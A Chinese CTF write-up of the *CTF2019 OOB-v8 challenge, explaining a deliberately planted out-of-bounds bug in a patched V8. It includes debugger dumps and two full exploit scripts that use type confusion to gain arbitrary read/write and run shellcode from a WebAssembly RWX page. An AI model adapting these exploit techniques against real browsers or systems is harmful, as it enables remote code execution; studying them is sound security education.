*CTF2019 OOB-v8 writeup

这是用来入门v8的一道很好的CTF题目,主要思路就是利用oob修改v8中JS对象的map,从而造成type confusion

调试环境

具体环境搭建步骤就不详述了,patch文件在这里下载

1
2
3
4
5
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
gclient sync
git apply ../oob.diff
./tools/dev/v8gen.py x64.release
ninja -c ./out.gn/x64.release

漏洞分析

该题是出题人通过patch,在v8中添加了一个漏洞。所以先从diff文件入手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver); // 获取Array
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements()); //获取数组元素
+ uint32_t length = static_cast<uint32_t>(array->length()->Number()); //获取数组长度
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
...

从diff文件中可以看出,出题人为一个Array对象添加了一个oob函数,具体实现在ArrayOob。接下来开始分析oob函数。

首先获取了参数的个数len,若个数大于2,则返回undefined

若参数个数为1,则返回下标为length的数组元素,显然这里造成了一个越界读取,访问到了数组后面的一个元素。即read arr[length]

若参数个数为2,则将第二个参数值写入下标为length的元素,造成了越界写入。即 arr[length] = arg

这里需要注意一点,在函数调用时,第一个参数始终为this指针,我们所提供的参数则是从第二个开始的。

漏洞利用

利用技巧

内存布局

因为我们拥有一个越界访问一个元素的能力,那么这里我们需要搞清楚在Array element的后方是什么。

我们首先进行如下调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
d8> var arr = [1.1, 2.2, 3.3]
d8> %DebugPrint(arr)
DebugPrint: 0x831db04dd99: [JSArray]
- map: 0x2b36a3c82ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x251f23191111 <JSArray[0]>
- elements: 0x0831db04dd71 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
- length: 3
- properties: 0x25361adc0c71 <FixedArray[0]> {
#length: 0x3860ab3401a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x0831db04dd71 <FixedDoubleArray[3]> {
0: 1.1
1: 2.2
2: 3.3
}
0x2b36a3c82ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x2b36a3c82e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x3860ab340609 <Cell value= 1>
- instance descriptors #1: 0x251f23191f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x251f23191eb9 <TransitionArray[4]>Transition array #1:
0x25361adc4ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x2b36a3c82f29 <Map(HOLEY_DOUBLE_ELEMENTS)>

- prototype: 0x251f23191111 <JSArray[0]>
- constructor: 0x251f23190ec1 <JSFunction Array (sfi = 0x3860ab34aca1)>
- dependent code: 0x25361adc02c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

pwndbg> x/12gx 0x831db04dd99-1 // JSArray
0x831db04dd98: 0x00002b36a3c82ed9 0x000025361adc0c71 // Map Properties
0x831db04dda8: 0x00000831db04dd71 0x0000000300000000 // Elements Length
0x831db04ddb8: 0x000025361adc0941 0x00000adc7d437082
0x831db04ddc8: 0x6974636e7566280a 0x220a7b2029286e6f
0x831db04ddd8: 0x6972747320657375 0x2f2f0a0a3b227463
0x831db04dde8: 0x2065726f6d204120 0x6173726576696e75
pwndbg> x/12gx 0x831db04dd71-1 // Elements
0x831db04dd70: 0x000025361adc14f9 0x0000000300000000 // Map Length
0x831db04dd80: 0x3ff199999999999a 0x400199999999999a // 1.1 2.2
0x831db04dd90: 0x400a666666666666 0x00002b36a3c82ed9 // 3.3
0x831db04dda0: 0x000025361adc0c71 0x00000831db04dd71
0x831db04ddb0: 0x0000000300000000 0x000025361adc0941
0x831db04ddc0: 0x00000adc7d437082 0x6974636e7566280a

从地址很容易可以看出,在Elements的后面紧跟的就是JSArray对象的Map,布局如下图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Elements--->+-------------+
| MAP +<------+
+-------------+ |
| Length | |
+-------------+ |
| element#1 | |
+-------------+ |
| element#2 | |
+-------------+ |
| ... | |
+-------------+ |
| element#N | |
JSArray--->--------------+ |
| MAP | |
+-------------+ |
| Properties | |
+-------------+ |
| Elements +-------+
+-------------+
| Length |
+-------------+
| ... |
+-------------+

这意味着我们可以通过越界访问获取到Array对象的Map地址,同时还可以修改该地址。

trick:在调试过程中会发现,Elements并不是始终紧邻JSArray的,有些时候两者会相距一段距离。在师傅们的wp中提到可以使用splice来使该布局稳定,例如

1
var arr = [1.1, 2.2, 3.3].splice(0);

具体原理我没有查到相关资料。。可能只有等以后读了源码才知道吧

类型混淆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
d8> a = [1.1, 2.2, 3.3]
d8> %DebugPrint(a)
DebugPrint: 0x35fa7c80dd91: [JSArray]
- map: 0x1ce6487c2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x1c3276151111 <JSArray[0]>
- elements: 0x35fa7c80dd69 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
...

d8> b = [{}, 2.2]
d8> %DebugPrint(b)
DebugPrint: 0x35fa7c810531: [JSArray]
- map: 0x1ce6487c2f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x1c3276151111 <JSArray[0]>
- elements: 0x35fa7c8104d9 <FixedArray[2]> [PACKED_ELEMENTS]
...

在v8中,Map描述了一个对象的结构,它决定了如何解析对象中的数据。从以上调试信息中即可以看到aMap(PACKED_DOUBLE_ELEMENTS),而bMap(PACKED_ELEMENTS)

所以,若将一个存放对象的数组的Map修改为一个浮点型数组的Map,再次去读取该数组中的元素时,将会把其中的对象(指针)当做浮点型数据读取出来,这类操作就叫做类型混淆(type confusion)

在此题中,我们可以任意修改和读取JSArray对象的Map,则可以很容易的造成类型混淆。

wasm

在v8利用中总是需要布置shellcode,那么在内存中找到一块具有RWX权限的区域将会十分有帮助。wasm(WebAssembly)详细概念就不在这介绍了,这里值得注意的是是用wasm可以在内存中开辟出一块RWX的内存空间。

这里可以将C语言编写的代码转换为wasm格式。当然,编写的c语言代码不能够调用库函数(不然就可以直接写rce了),但是只要通过漏洞,将我们的shellcode覆盖到内存中wasm代码所在rwx区域即可。

下文将展示如何定位到rwx内存区域

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//test.js
const wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;
%DebugPrint(wasm_instance);

readline();

----------------------------------------------------------------------------------

pwndbg> r --allow-natives-syntax ../../exps/OOB/test.js
DebugPrint: 0x3ac2ec75f721: [WasmInstanceObject] in OldSpace
- map: 0x3e31257c9789 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x0c416a70ac19 <Object map = 0x3e31257cabd9>
- elements: 0x018f99940c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x0c416a70e421 <Module map = 0x3e31257c91e9>
...
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x18f99940000 0x18f99980000 r--p 40000 0
0x2d98eee0000 0x2d98eee1000 rwxp 1000 0 <---RWX area
0x2d98eee1000 0x2d9ceee0000 ---p 3ffff000 0
0xc416a700000 0xc416a740000 rw-p 40000 0
0x13f152180000 0x13f1521c0000 rw-p 40000 0
...
pwndbg> x/32gx 0x3ac2ec75f721-1
0x3ac2ec75f720: 0x00003e31257c9789 0x0000018f99940c71
0x3ac2ec75f730: 0x0000018f99940c71 0x0000000000000000
0x3ac2ec75f740: 0x0000000000000000 0x0000000000000000
0x3ac2ec75f750: 0x000055eaa54b90a0 0x0000018f99940c71
0x3ac2ec75f760: 0x000055eaa55474f0 0x0000018f999404d1
0x3ac2ec75f770: 0x0000000000000000 0x0000000000000000
0x3ac2ec75f780: 0x0000000000000000 0x0000000000000000
0x3ac2ec75f790: 0x000055eaa5547510 0x0000018f999404d1
0x3ac2ec75f7a0: 0x000055eaa54af3c0 0x000002d98eee0000 <---RWX area
0x3ac2ec75f7b0: 0x00000c416a70e421 0x00000c416a70e5d9
...

instance+0x88处即存放了RWX区域的地址

利用流程(方法一)

  1. 创建一个数组fake_ab,在element中伪造一个ArrayBuffer
  2. 创建一个double数组和一个object数组,将fake_ab放入object数组中
  3. 分别泄露出double map和object map
  4. 使用double map覆盖object数组的Map,使object数组将其元素当做小数来解析
  5. 从object中读取出fake_ab的地址,通过固定的偏移(使用splice())计算出elements的地址(即伪造的ArrayBuffer)
  6. 将elements地址写入objects数组中,并还原objects数组的Map
  7. 重新将elements取出来,这时将会将其作为一个ArrayBuffer
  8. 因为elements可以通过fake_ab随意修改,所以我们可以通过控制backingStore来实现任意读写了。

关于伪造ArrayBuffer

在伪造ArrayBuffer的时候需要同时也伪造出它的Map,这部分可以通过调试一个真正的ArrayBuffer并将其Map复制下来(这里并不需要全部的数据)。关于Map的内存模型可以参考这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
var fake_arraybuffer = [
//map|properties
mem.u2d(0x0),mem.u2d(0x0),
//elements|length
mem.u2d(0x0),mem.u2d(0x1000),
//backingstore|0x2
mem.u2d(0x0),mem.u2d(0x2),
//padding
mem.u2d(0x0),mem.u2d(0x0),
//fake map
mem.u2d(0x0),mem.u2d(0x1900042319080808),
mem.u2d(0x00000000082003ff),mem.u2d(0x0),
mem.u2d(0x0),mem.u2d(0x0),
mem.u2d(0x0),mem.u2d(0x0)
].splice(0);

-------------------------------------------------------------------------

pwndbg> x/12gx 0x214d3d2421b9-1 <-- ArrayBuffer(0x1000)的Map
0x214d3d2421b8: 0x00003255d5d40189 0x1900042319080808
0x214d3d2421c8: 0x00000000082003ff 0x000015f53700e981
0x214d3d2421d8: 0x000015f53700e7e9 0x0000000000000000
...

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var mem = new Memory();

var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

const wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;

var fake_arraybuffer = [
//map|properties
mem.u2d(0x0),
mem.u2d(0x0),
//elements|length
mem.u2d(0x0),
mem.u2d(0x1000),
//backingstore|0x2
mem.u2d(0x0),
mem.u2d(0x2),
//padding
mem.u2d(0x0),
mem.u2d(0x0),
//fake map
mem.u2d(0x0),
mem.u2d(0x1900042319080808),
mem.u2d(0x00000000082003ff),
mem.u2d(0x0),
mem.u2d(0x0),
mem.u2d(0x0),
mem.u2d(0x0),
mem.u2d(0x0)
].splice(0);

var ab = new ArrayBuffer(0x1000).splice(0);
var obj = [wasm_instance, fake_arraybuffer, ab].splice(0);
var buf = [1.1, 2.2, 3.3].splice(0);

obj_map = mem.d2u(obj.oob()); //读取map
buf_map = mem.d2u(buf.oob());
console.log("obj_map addr: 0x" + obj_map.toString(16))
console.log("buf_map addr: 0x" + buf_map.toString(16))

obj.oob(mem.u2d(buf_map)); //将obj数组的map改为double map

wasm_inst_addr = mem.d2u(obj[0]) - 1; //读取wasm_instance的地址
rwx_area_addr = wasm_inst_addr + 0x88 //获取rwx地址的存放地址

fake_ab_addr = mem.d2u(obj[1]) - 1; //读取fake_arraybuffer的地址
fake_obj_addr = fake_ab_addr - 0x80; //获取fake_arraybuffer的elements的地址
fake_obj_map = fake_ab_addr - 0x40; //获取伪造的map地址

console.log("fake_ab_addr: 0x" + fake_ab_addr.toString(16));
console.log("rwx_area_addr: 0x" + rwx_area_addr.toString(16));

fake_arraybuffer[0] = mem.u2d(fake_obj_map + 1); //将伪造的map填入
fake_arraybuffer[4] = mem.u2d(rwx_area_addr); //将rwx地址的存放地址填入backingStore

obj[2] = mem.u2d(fake_obj_addr + 1); //将elements地址写入obj数组
obj.oob(mem.u2d(obj_map)); //恢复obj数组的map

fake_obj = new DataView(obj[2]); //将伪造的ArrayBuffer取出
rwx_area = mem.d2u(fake_obj.getFloat64(0, true));
console.log("rwx_area: 0x" + rwx_area.toString(16)); //读取rwx空间的地址

fake_arraybuffer[4] = mem.u2d(rwx_area);

for (i = 0; i < shellcode.length; i++){
fake_obj.setUint32(i * 4, shellcode[i], true);
}

wasm_func();

利用流程(方法二)

和前面一个差不多,这里不需要伪造ArrayBuffer和它的map,只需要伪造一个JSArray即可,因为通过修改elements指针也可以实现任意读写。

但是有个问题是,在访问某地址时,需要将elements指针置于该地址-0x10处,因为rwx空间是独立的一块内存页,在其-0x10处的地址是非法的,所以最后还是通过修改ArrayBuffer的backingStore来布置shellcode。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var mem = new Memory();

var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];

const wasm_code = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
0x00, 0x00, 0x41, 0x00, 0x0b
]);
const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
const wasm_func = wasm_instance.exports.a;

var fake_array = [
//map|properties
mem.u2d(0x0),
mem.u2d(0x0),
//elements|length
mem.u2d(0x0),
mem.u2d(0x100000000000),
//backingstore|0x2
mem.u2d(0x0),
mem.u2d(0x2),
].splice(0);

var obj = [wasm_instance, fake_array, 1.1].splice(0);
var buf = [1.1, 2.2, 3.3].splice(0);

obj_map = mem.d2u(obj.oob());
buf_map = mem.d2u(buf.oob());
console.log("obj_map addr: 0x" + obj_map.toString(16))
console.log("buf_map addr: 0x" + buf_map.toString(16))

obj.oob(mem.u2d(buf_map));

wasm_inst_addr = mem.d2u(obj[0]) - 1;
rwx_area_addr = wasm_inst_addr + 0x88

fake_array_addr = mem.d2u(obj[1]) - 1;
fake_obj_addr = fake_array_addr - 0x30;

console.log("fake_obj_addr: 0x" + fake_obj_addr.toString(16));
console.log("rwx_area_addr: 0x" + rwx_area_addr.toString(16));

fake_array[0] = mem.u2d(buf_map);

obj[2] = mem.u2d(fake_obj_addr + 1);
obj.oob(mem.u2d(obj_map));
fake_obj = obj[2];

function arb_read(addr){
fake_array[2] = mem.u2d(addr - 0x10 + 1);
return mem.d2u(fake_obj[0]);
}

function arb_write(addr, value){
fake_array[2] = mem.u2d(addr - 0x10 + 1);
fake_obj[0] = mem.u2d(value);
}

rwx_area = arb_read(rwx_area_addr);
console.log("rwx_area: 0x" + rwx_area.toString(16));

ab = new ArrayBuffer(0x100);
obj[2] = ab;
obj.oob(mem.u2d(buf_map));

ab_addr = mem.d2u(obj[2]) - 1;
ab_backStore = ab_addr + 0x20;
arb_write(ab_backStore, rwx_area);

ab_view = new DataView(ab);

for(i = 0; i < shellcode.length; i++){
ab_view.setUint32(i * 4, shellcode[i], true);
}

wasm_func()

参考资料

文章作者: Hpasserby
文章链接: https://hpasserby.me/post/825d66e8.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hpasserby
支付宝赞赏
微信赞赏